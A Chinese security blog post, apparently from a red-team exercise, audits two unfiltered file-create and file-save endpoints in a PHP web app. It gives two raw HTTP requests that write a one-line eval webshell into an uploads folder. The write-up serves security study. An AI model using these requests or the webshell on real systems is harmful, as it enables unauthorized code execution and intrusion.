前两天在攻防的时候,遇到一个目标,这个目标以前我打过,而且我的webshell还是存活的,但是漏洞修复了。于是我问裁判可以直接进行横向了吗,裁判说不可以,需要有完整可复现的攻击,历史shell不算。当然意思就是要通过其他漏洞来拿shell。于是就开始托源码来尝试代码审计了。
文件创建需要两个参数如图 filename和path 没有任何过滤
/**
* @OAGet(
* path="/code-editor/createfile",
* tags={"代码编辑"},
* summary="新建文件",
* @OAParameter(
* description="目录路径",
* in="query",
* name="path",
* required=true,
* @OASchema(type="string"),
* @OAExamples(example="string", value=".env", summary="字符串."),
* ),
* @OAParameter(
* description="文件名",
* in="query",
* name="file_name",
* required=true,
* @OASchema(type="string"),
* @OAExamples(example="string", value=".env", summary="字符串."),
* ),
* @OAResponse(response="200", description="成功返回的结果集"),
* @OAResponse(response=401, description="Unauthorized"),
* )
*/
public function createFile(Request $request)
{
$disk = Storage::disk('www');
$fileName = $request->file_name ?? null;
$path = $request->path ?? '/';
if (!$fileName) {
return $this->badRequest('文件名不能为空');
}
$filePath = $path . '/' . $fileName;
$disk->put($filePath, '');
return $this->dataSuccess(['message' => '文件创建成功']);
}
文件编辑也是两个参数path和content(文件内容) 路径和内容也是没有过滤
/**
* @OAPost(
* path="/code-editor/savefile",
* tags={"代码编辑"},
* summary="保存文件",
* @OAParameter(
* description="保存文件",
* in="query",
* name="path",
* required=true,
* @OASchema(type="string"),
* @OAExamples(example="string", value=".env", summary="字符串."),
* ),
* @OAResponse(response="200", description="成功返回的结果集"),
* @OAResponse(response=401, description="Unauthorized"),
* )
*/
public function saveFile(Request $request)
{
$disk = Storage::disk('www');
$path = $request->path ?? '/';
$content = $request->content; //先考虑用put
$disk->put($path, $content); //写入
return $this->dataSuccess(['message' => '保存成功', 200]);
}
开始构造两个数据包即可创建webshell
GET /api/code-editor/createfile?file_name=asdfasd.php&path=/public/storage/uploads/2024/05/29/ HTTP/2
Host:
Xweb_xhr: 1
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555
POST /api/code-editor/savefile HTTP/2
Host:
Xweb_xhr: 1
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
content=<?php
eval($_POST["ting"]);&path=/public/storage/uploads/2024/05/29/asdfasd.php
目前我们wingby团队建了一个对外公开交流群,这里可以和师傅们交流SRC、红队项目经验、护网经验、免杀、安全开发、代码审计、红蓝对抗等等,期待各位师傅们的加入。团队师傅银联SRC5月特别活动打下10800积分,收揽榜一,银联四月榜团队中两位师傅位居前五。有在某厂红队实习的大学生,也有网安4年经验、参加各级别护网的大黑客。
由于目前群满200了,需要进群的师傅,请添加微信,并备注加群即可
原文始发于微信公众号(Ting丶的安全笔记):最近一次攻防中简单的代码审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论